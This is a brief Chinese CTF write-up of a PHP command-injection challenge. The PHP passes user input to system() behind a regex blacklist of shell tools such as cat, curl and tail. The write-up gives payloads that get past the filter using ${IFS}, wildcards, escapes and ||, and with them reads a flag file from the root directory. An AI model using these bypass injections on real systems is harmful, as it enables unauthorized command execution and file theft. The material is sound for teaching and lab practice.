代码审计
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c))
//增加了<>的过滤
{
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
增加了
<
>
的过滤,但是没有对$
过滤,可以利用${IFS}
进行绕过空格,发现是假的flag
,那么应该在根目录了?c=nl${IFS}fla?.php|| ?c=nl${IFS}fla\g.php%0a
查看下根目录
?c=ls${IFS}/||
查看flag
?c=nl${IFS}/fla?||